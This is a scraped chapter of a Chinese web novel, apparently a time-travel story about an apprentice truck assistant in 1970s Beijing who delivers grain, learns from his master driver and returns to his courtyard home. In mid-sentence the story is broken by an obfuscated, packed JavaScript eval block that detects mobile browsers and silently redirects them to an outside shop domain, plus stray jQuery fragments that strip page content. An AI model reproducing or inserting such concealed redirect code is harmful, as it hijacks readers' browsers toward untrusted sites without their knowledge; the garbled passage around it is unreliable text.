“同志，我是京市运输公司第六车队的，顺义粮库送来一批棒子面，每袋五十斤，共八十袋，总重两吨，辛苦你核对签收下。”
中年人回过头，像是看他眼生，上下多打量了他几眼，问：
“谁是司机？”
“我们车队的林永庚林师傅，我是跟车学徒，周耀祖。”
中年人点点头，往门口那辆卡车看了一眼，从兜里摸出一个硬皮的本子，翻到其中一页。
“车号多少？”
“01-26583。”
中年人把车号记在本子上，跟着周耀祖一起来到车斗跟前，开始数袋子。
数完，正好八十袋，他又随机拆开两袋抽查了下，看了看棒子面的成色，点点头。
“行，在旁边等会儿吧，我让工人来卸货。”
东城区粮食局要保证辖区内各个粮店都有库存，每天进出的粮食量不少，纯靠装卸工的人力来搬运的话，就得多招几个人。
但招人，不仅仅是每个月固定开工资那么简单，相应配套的福利待遇都得跟上，这样一来，用人成本就高了许多，相比之下，自然还是配几辆架子车更划算些。
周耀祖在旁边蹲了会儿，看见两个装卸工推着架子车过来，开始搬车斗里的棒子面，他也跟着搭了把手。
站在车斗里，就跟接力似的，他是第一个，不远的距离，三个人形成了一条流水线，把一袋袋棒子面运到架子车里，等两辆架子车装满，装卸工各推一辆，送到仓库那边去，再返回来装第二趟。
人和动物最大的区别是会使用工具，这话诚不欺人。
同样是三个劳动力，但因为这两辆架子车的加入，卸货的用时比装货少了将近一半。
等他们卸完货，仓库那边也把重量复核完了，确认无误后，中年人走过来，把一根圆珠笔递给周耀祖，指着本子上面的一栏，说：
“好了，在这儿签个字吧。”
周耀祖接过笔，在那一栏的框里签下了自己的名字。
上辈子的他多用电脑办公，有时候，十天半个月都不带用笔在纸质文件上写一个字的，这辈子的他，学习成绩一般般，还赶上了停课。
可想而知，周耀祖现在的字到底怎么样了。
好在，签自个儿名字的时候，他没有分心，写的是“周耀祖”这三个字，虽然不好看，但总归能称得上“端端正正”。
中年人看了一眼，在本子上盖了个戳，把最上面那一页复写纸撕下来，递给周耀祖：
“这是回执，拿好了。”
周耀祖把回执收进兜里，正准备上车的时候，看见刚才一块儿干过活儿的一个装卸工走了过来，手里还端着个搪瓷缸。
“兄弟，跑了一上午，也渴了吧？来，喝口水。”
“行，谢了啊！”
人家估计也是看在他刚才帮着卸货的份儿上，才主动倒了水端过来。
周耀祖就算心里有点过不去，不知道这是谁的搪瓷缸，又有多少人用过，但他总不能不给人脸面，只好接过来，快速地做了下心理建设，端着搪瓷缸，一饮而尽。
“师傅，货卸完了，咱们可以回了。”
周耀祖回到驾驶室，把正靠着椅背补觉的师傅林永庚叫醒，说。
“回执呢？”
周耀祖从兜里掏出来，让林永庚看了一眼：“在这儿呢。”
“行，座位底下有个本子，拿出来，夹在里面，以后每一趟的回执都这么弄，月底车队会统一对账，少了哪一张，就得来接收单位这里补，至于你找谁补，人家愿不愿意给你补，那就是你自个儿的事了。”
周耀祖心下一凛：“师傅放心，我会把每张回执都收好的。”
他把今天早上这趟出车的回执夹在本子里，又把本子放回原位。
看了看本子所在的位置，周耀祖多少有点担心，回执就是薄薄的一张纸，放在本子里，也没用夹子夹住，路上多颠簸几下，本子的位置一变，某张回执就很有可能掉进哪个缝隙里去了。
但他暂时没说什么，头一次出车，就对老师傅的做事习惯提意见，这不合适。
林永庚开着车，回到车队的院子里，熄了火，拔下钥匙，推开车门跳下来，又绕到车头前面，把摇把拔出来，擦干净以后，放回了工具箱。
做完这些事以后，林永庚才把烟点上，吸了一口，对着周耀祖说：
“今天是头一次跟车，知道拿本子记注意事项、记路，这是好习惯，但别让它只留在本子上，得时常翻着看，把它印在自己的脑子里。
卸货的时候，我只说了流程，具体的事，都是你自己去做的，拿到回执，意味着这趟差事顺利结束，没出什么岔子，这一点，做得还不错。
但有一件事，我得提醒你，在顺义粮库的时候，你跟着两个装卸工一块儿搬货，我没说什么，可你要分清楚，自己是去干什么的。
搬货是他们的工作，你的工作岗位叫做跟车学徒，任务是盯着货，你可以帮着搭把手，但不能把自己当成主要劳力用。
不然，这回你一块儿去搬货了，下回呢？下下回呢？咱们车队跑顺义粮库的活儿不少，你次次去，次次跟他们一块儿搬货？
把自己一个人当成两个人来用，一次两次可以，时间长了，铁打的身子骨都受不住。”
林永庚替周耀祖总结了下经验教训，当然，他心里对周耀祖今早的表现，还是相当认可的。
至于周耀祖和装卸工一起搬货的事，说实话，林永庚其实也能理解。
谁都是从学徒时期走过来的，尤其是参加工作的第一天，心里没底儿，就想多表现表现，手脚勤快一些，这不是错。
训斥和关心，周耀祖还是能分得清的，他认真地点点头：
“师傅，我记住了，下次一定先盯着货，再考虑自己有没有能力去帮着搭把手。”
他这身子，从小到大也没干过什么重活儿，今天算是破天荒头一遭，这会儿累得够呛，正好，也算是让他长记性了。
林永庚“嗯”了一声：“走吧，去吃饭。”
俩大男人早上只吃了包子就出发，肚里垫的那点儿东西早就消化完了。
车队食堂今天中午做的是炸酱面，一人一碗，如果不够的话，旁边还有窝窝头。
炸酱里添了猪肉沫，虽然比不上大块的红烧肉来得过瘾，但这样酱香浓郁、肉香十足的一碗面，对于车队职工来说，也算是相当不错的伙食了。
一碗炸酱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965236|214472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面下肚，周耀祖摸了摸自个儿的肚子，感觉还能再吃下一个窝窝头，但想了想，还是算了。
倒不是他舍不得粮票，只是，窝窝头的口感粗糙，在可吃可不吃之间，他不大愿意折磨自己的胃。
“去驾驶员休息室歇会儿，等下午两点，咱们再跑一趟，对了，这个礼拜的出车安排，队长都写在调度室那块黑板上了，你有空的话，去抄一份。”
林永庚回驾驶员休息室去继续补觉了，周耀祖拿着自个儿的本子去了调度室。
车队有十几名司机，加上未出师的学徒，已经超过了二十人，蒋队长写的出车安排表看上去自然也要更复杂一些。
周耀祖不管别人，只找自家师傅的名字，然后，像画课表那样，一周七天，按照早上、中午、晚上，分别填空，看上去，顿时一目了然。
他写了两份儿，其中一份儿撕下来，等师傅睡醒以后，递了过去。
“什么东西？”林永庚接过来一看，原来是他这周的排班表，只不过，队长每回在黑板上写得都很乱，得慢慢找自己的名字，相比之下，周耀祖写的这一份儿，虽然只有他们师徒俩的名字，却格外简洁清晰明了。
林永庚把排班表收好，拍了拍周耀祖的肩膀，没说什么，领着他下午又跑了一趟。
再回到车队的时候，已经是傍晚七点多了，周耀祖没有在车队吃晚饭，跟师傅打了声招呼，坐上了回家的公交车。
这一天，虽然有一多半儿的时间都是在路上，按理说，坐在车里，也不用他开车，应该是不怎么累的。
但是，碍于现在十分糟糕的路况，动不动就要经受一次颠簸，回家的路上，周耀祖看似面无表情，实则内心龇牙咧嘴，如果不是还要顾忌着场合的话，他怕是早已忍不住要揉一揉跟着他受苦受累的屁股了。
下了公交车，周耀祖往槐花胡同走。
这个时间点儿，家家户户几乎都已经吃过晚饭了，但就算没什么娱乐活动，也不至于现在就熄灯睡觉。
或是在水池边儿上洗衣服，或是坐在自家廊檐下面跟邻居聊天。
周耀祖刚走进大院儿，听到动静的邻居们就看了过来，最后，大家的眼神不约而同地落在了他身上的蓝布工装上。
早上周耀祖五点多就出家门了，那会儿大家都还没起床，也就没看见周耀祖是穿着什么衣服出去的。
至于说，周耀祖今儿一整天都没在院儿里露面，这不是司空见惯的事情吗？谁知道他昨晚又干什么去了？
反正，大家对他待在家里不出门、天天躺在床上睡大觉的事情，早就习以为常了。
可直到这会儿，看见周耀祖，大家才注意到，他居然穿着一身蓝布工装。
大院儿里，每户人家至少有一个工人，那身蓝布工装意味着什么，大家都再清楚不过。
可是，穿上那身工装的人是周耀祖，是被周师傅惯坏了的那个儿子，是天天待在家里、跟个黄花大闺女似的周耀祖，这就让人有些不愿意相信了。
院子里安静了一瞬，随后，第一个坐不住的花婶儿迫不及待地问：
“耀祖，你身上这身新工装，是机械厂刚发的吧？你把你爸新发的工装偷偷拿出去、穿上显摆，当心你爸收拾你！”